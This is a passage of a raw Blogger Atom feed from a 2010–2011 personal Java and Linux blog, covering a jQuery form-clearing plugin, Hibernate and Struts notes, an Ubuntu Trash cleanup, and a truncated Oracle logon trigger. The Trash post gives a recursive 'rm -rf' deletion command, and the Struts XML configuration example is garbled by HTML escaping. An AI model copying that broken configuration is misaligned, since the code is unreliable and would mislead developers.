#009900;"&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: normal; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #000066; font-weight: bold;"&gt;this&lt;/span&gt;.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #3366cc;"&gt;''&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: bold; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;type &lt;span style="color: #339933;"&gt;==&lt;/span&gt; &lt;span style="color: #3366cc;"&gt;'checkbox'&lt;/span&gt; &lt;span style="color: #339933;"&gt;||&lt;/span&gt; type &lt;span style="color: #339933;"&gt;==&lt;/span&gt; &lt;span style="color: #3366cc;"&gt;'radio'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: normal; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #000066; font-weight: bold;"&gt;this&lt;/span&gt;.&lt;span style="color: #660066;"&gt;checked&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #003366; font-weight: bold;"&gt;false&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: bold; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;tag &lt;span style="color: #339933;"&gt;==&lt;/span&gt; &lt;span style="color: #3366cc;"&gt;'select'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: normal; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: #000066; font-weight: bold;"&gt;this&lt;/span&gt;.&lt;span style="color: #660066;"&gt;selectedIndex&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #339933;"&gt;-&lt;/span&gt;&lt;span style="color: maroon;"&gt;1&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: bold; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&amp;nbsp; &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li style="color: #acaa9a; font-weight: normal; vertical-align: top;"&gt;&lt;div style="background-color: transparent;"&gt;&lt;span style="color: #009900;"&gt;}&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;Voila! Now we have a plugin for clearing form fields that can be called like this:&lt;/pre&gt;&lt;pre&gt;&lt;code&gt; &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;$&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc;"&gt;':input'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;clearForm&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: #009900;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: #009900;"&gt;or&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: #009900;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;$&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366cc;"&gt;'form'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;clearForm&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: #009900;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: #009900;"&gt;Cheers,&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: #009900;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: #009900;"&gt;Ujjwal Soni&amp;nbsp;&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;nbsp;&lt;/span&gt;&lt;code&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-1214715112497507675?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/1214715112497507675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=1214715112497507675' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1214715112497507675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1214715112497507675'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/01/clearing-form-data-using-jquery.html' title='Clearing form data using jquery'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-2882981732258101259</id><published>2010-12-30T03:42:00.000-08:00</published><updated>2010-12-30T03:42:25.976-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='trash'/><category scheme='http://www.blogger.com/atom/ns#' term='clearing trash'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Shell script for clearing the Trash in Ubuntu  linux</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;I was facing a problem while clearing the Trash in Ubuntu Linux. I wasn’t  able to delete certaion folder and i got the message stating “Access  Denied”. So i was wondering that there should be some way to do it from  the command prompt using &lt;strong&gt;sudo&lt;/strong&gt; and some command. I did a google for the requirement and found the following shell snippet:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;rm -rf ~/.local/share/Trash/&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;Regards,&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;&lt;pre&gt;Ujjwal Soni &lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-2882981732258101259?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/2882981732258101259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=2882981732258101259' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2882981732258101259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2882981732258101259'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/12/shell-script-for-clearing-trash-in.html' title='Shell script for clearing the Trash in Ubuntu  linux'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-5988747230912154485</id><published>2010-12-30T03:20:00.000-08:00</published><updated>2010-12-30T03:20:35.350-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='projectlombok'/><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Intresting tool for eclipse</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Here's an intesting tool i found on web that can help eclipse users to autogenerate and spice up their java code. This sort of tool is already built into myeclipse, but if you use eclipse, then this tool can work out towards great help.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here's the URL : &lt;a href="http://projectlombok.org/index.html"&gt;http://projectlombok.org/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Regards,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;br /&gt;&lt;br /&gt;Happy Coding&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-5988747230912154485?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/5988747230912154485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=5988747230912154485' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5988747230912154485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5988747230912154485'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/12/intresting-tool-for-eclipse.html' title='Intresting tool for eclipse'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-5023563198063682161</id><published>2010-12-24T10:53:00.001-08:00</published><updated>2010-12-24T10:53:56.869-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='merry christmas'/><title type='text'>Merry Christmas</title><content type='html'>Hello Everyone, &lt;br /&gt;&lt;br /&gt;Merry Christmas &amp;amp; Happy new year....&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-5023563198063682161?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/5023563198063682161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=5023563198063682161' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5023563198063682161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5023563198063682161'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/12/merry-christmas.html' title='Merry Christmas'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-2218270782739445112</id><published>2010-12-18T10:19:00.000-08:00</published><updated>2010-12-18T10:19:49.559-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hibernate vs jdbc response time'/><category scheme='http://www.blogger.com/atom/ns#' term='difference. between. update() and merge() in hibernate'/><category scheme='http://www.blogger.com/atom/ns#' term='response time'/><category scheme='http://www.blogger.com/atom/ns#' term='jdbc'/><title type='text'>hibernate vs jdbc response time</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Last week i&amp;nbsp;received&amp;nbsp;an email from one of my blog reader, he wanted to know response times for hibernate and jdbc. So below are my views on that ::&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;Hibernate is just a little slower than JDBC. Actually,&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;We don't use Hibernate in very small applications or when "Persistence" is not at all an issue.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;Requirement decides the use of Hibernate.&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;In modern multi tire applications we need such features.&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;JDBC is a traditional way of connecting... Hibernate is ORM based. It sees all the tables as an object so that we can optimally utilize and finetune the performance. Only thing u need to take care is the DB design. Once if the DB design is done (perfectly), i can say hibernate would be much better than JDBC.&lt;br /&gt;&lt;br /&gt;Another advantage is that Hibernate can take an object itself as a parameter and gives room to use the Java Collections.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;So, in short, if you have a small application then implementing hibernate is a bad idea.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;Cheers,&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;Ujjwal Soni,&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;happy !!="" coding=""&gt;&lt;/happy&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-2218270782739445112?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/2218270782739445112/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=2218270782739445112' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2218270782739445112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2218270782739445112'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/12/hibernate-vs-jdbc-response-time.html' title='hibernate vs jdbc response time'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-2334556453384342887</id><published>2010-12-18T10:13:00.000-08:00</published><updated>2010-12-18T10:13:00.689-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IncludeAction and LocaleAction in struts'/><category scheme='http://www.blogger.com/atom/ns#' term='struts actions'/><category scheme='http://www.blogger.com/atom/ns#' term='forward action'/><category scheme='http://www.blogger.com/atom/ns#' term='ForwardAction'/><category scheme='http://www.blogger.com/atom/ns#' term='locale action'/><category scheme='http://www.blogger.com/atom/ns#' term='include action'/><category scheme='http://www.blogger.com/atom/ns#' term='struts'/><title type='text'>ForwardAction, IncludeAction and LocaleAction in struts</title><content type='html'>&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; font-family: Arial; font-size: 14px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;The org.apache.struts.actions.ForwardAction Class&lt;br /&gt;The ForwardAction class provides a mechanism for forwarding &lt;br /&gt;to a specified URL. As explained earlier, in an MVC Web &lt;br /&gt;application, all requests to the application are supposed &lt;br /&gt;to flow through the Controller servlet. This ensures that &lt;br /&gt;the Controller layer of the application has an opportunity &lt;br /&gt;to prepare any resources that may be needed to handle the &lt;br /&gt;request (i.e., selecting the correct module and so on). &lt;br /&gt;ForwardAction is provided as a simple utility action that &lt;br /&gt;can be used for scenarios in which you simply want to link &lt;br /&gt;to a JSP page. Of course, linking directly to the JSP would &lt;br /&gt;be a violation of the MVC principles because all requests &lt;br /&gt;are supposed to be routed through the Controller. &lt;br /&gt;ForwardAction can be used to create links to JSPs so that &lt;br /&gt;you don’t have to create an action whose only &lt;br /&gt;responsibility is to forward a request every time you want &lt;br /&gt;to link to a JSP. With ForwardAction, you simply create an &lt;br /&gt;action mapping in the Struts configuration file and specify &lt;br /&gt;the location to which the action will forward.&lt;br /&gt;&lt;br /&gt;To use ForwardAction, simply create action mapping entries &lt;br /&gt;in the Struts configuration file, as shown next:&lt;br /&gt;&lt;br /&gt;&lt;action-mappings&gt;&lt;br /&gt;  &lt;action menu"="" parameter="/menu.jsp/&amp;gt;&lt;br /&gt;&amp;lt;/action-mappings&amp;gt;&lt;br /&gt;&lt;br /&gt;For each page to which you want to link, you must create an &lt;br /&gt;action mapping. Each action mapping uses ForwardAction, but &lt;br /&gt;specifies a different path for the action. The parameter &lt;br /&gt;attribute specifies the URL that will be forwarded to when &lt;br /&gt;the specified path is accessed.&lt;br /&gt;&lt;br /&gt;The org.apache.struts.actions.IncludeAction Class&lt;br /&gt;The IncludeAction class provides a mechanism for including &lt;br /&gt;the contents of a specified URL. This action behaves &lt;br /&gt;similarly to ForwardAction, but instead of forwarding to &lt;br /&gt;the specified URL, the specified URL is included. This &lt;br /&gt;action is useful when you want to include the contents of &lt;br /&gt;one page in another.&lt;br /&gt;&lt;br /&gt;Using IncludeAction is quite easy. Just create action &lt;br /&gt;mapping entries in the Struts configuration file:&lt;br /&gt;&lt;br /&gt;&amp;lt;action-mappings&amp;gt;&lt;br /&gt;  &amp;lt;action path=" path="/menu" switchlocale"="" type="org.apache.struts.actions.ForwardAction"&gt;&lt;br /&gt;&lt;/action&gt;&lt;/action-mappings&gt;&lt;br /&gt;&lt;br /&gt;Once configured in the Struts configuration file, &lt;br /&gt;LocaleAction can be put to use. Simply create a link to the &lt;br /&gt;action and specify the locale settings that will be set and &lt;br /&gt;a page to forward to. Locale settings are specified with &lt;br /&gt;two request parameters: language and country. The page to &lt;br /&gt;forward to after setting the locale is specified with the &lt;br /&gt;page request parameter. The following URL illustrates how &lt;br /&gt;to use the request parameters:&lt;br /&gt;&lt;br /&gt;http://localhost:8080/MiniHR/SwitchLocale.do?&lt;br /&gt;country=MX&amp;amp;language=es&amp;amp;page=/Menu.do &lt;br /&gt;&lt;br /&gt;This example URL sets the country to MX and the language to &lt;br /&gt;es. The /Menu.do page will be forwarded to after the new &lt;br /&gt;locale has been set.&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;&lt;pre&gt;Cheers,&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;&lt;pre&gt;Happy Coding :-)&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-2334556453384342887?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/2334556453384342887/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=2334556453384342887' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2334556453384342887'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2334556453384342887'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/12/forwardaction-includeaction-and.html' title='ForwardAction, IncludeAction and LocaleAction in struts'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-9008430338781963825</id><published>2010-12-18T10:09:00.000-08:00</published><updated>2010-12-18T10:09:21.583-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='update and merge in hibernate'/><category scheme='http://www.blogger.com/atom/ns#' term='hibernate'/><category scheme='http://www.blogger.com/atom/ns#' term='merge'/><category scheme='http://www.blogger.com/atom/ns#' term='update and merge'/><category scheme='http://www.blogger.com/atom/ns#' term='update'/><category scheme='http://www.blogger.com/atom/ns#' term='difference. between. update() and merge() in hibernate'/><title type='text'>difference. between. update() and merge() in hibernate</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Here's the difference. between. update() and merge() in hibernate&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;Update():- if you are sure that the session does not contains an already persistent instance with the same identifier then use update to save the data in hibernate&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;Merge():-if you want to save your modificatiions at any time with out knowing abot the state of an session then use merge() in hibernate.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;Cheers,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, sans-serif; font-size: 12px;"&gt;Happy Coding :)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-9008430338781963825?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/9008430338781963825/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=9008430338781963825' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/9008430338781963825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/9008430338781963825'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/12/difference-between-update-and-merge-in.html' title='difference. between. update() and merge() in hibernate'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-912748935642256375</id><published>2010-11-18T05:02:00.000-08:00</published><updated>2010-11-18T05:02:10.385-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Change forgotten password of the root user at the Linux server'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='change root password'/><category scheme='http://www.blogger.com/atom/ns#' term='change linux root password'/><category scheme='http://www.blogger.com/atom/ns#' term='change linux password'/><category scheme='http://www.blogger.com/atom/ns#' term='root'/><title type='text'>Change forgotten password of the root user at the Linux server</title><content type='html'>&lt;div class="entry"&gt;     Hi All,&lt;br /&gt;&lt;br /&gt;Yesterday, i forgot root password for my hosting webserver. So I decided to crack it using the following steps.  It’s &lt;strong&gt;documented&lt;/strong&gt; and is written in the Linux manual &lt;img alt=":)" class="wp-smiley" src="http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif?m=1129645325g" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/step-guide/s1-q-and-a-root-passwd.html"&gt;http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/step-guide/s1-q-and-a-root-passwd.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And finally, i was able to login to my server.&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal B Soni&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-912748935642256375?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/912748935642256375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=912748935642256375' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/912748935642256375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/912748935642256375'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/11/change-forgotten-password-of-root-user.html' title='Change forgotten password of the root user at the Linux server'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7283867819484059203</id><published>2010-11-18T04:57:00.000-08:00</published><updated>2010-11-18T04:57:34.944-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='block developers from toad'/><category scheme='http://www.blogger.com/atom/ns#' term='toad'/><category scheme='http://www.blogger.com/atom/ns#' term='Blocking developers from using TOAD and other tools on production databases'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Blocking developers from using TOAD and other tools on production databases</title><content type='html'>Today, I’ve seen a nice example at &lt;a href="http://www.psoug.org%20on/"&gt;www.psoug.org&lt;/a&gt;  on how to prevent users from using additional tools to connect to  production database. This is the AFTER LOGON trigger create ON DATABASE  as follows:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background: none repeat scroll 0% 0% rgb(254, 254, 254); font-family: monospace;"&gt;&lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=CONNECT"&gt;&lt;span style="color: blue;"&gt;CONNECT&lt;/span&gt;&lt;/a&gt; &lt;span style="color: blue;"&gt;/&lt;/span&gt; 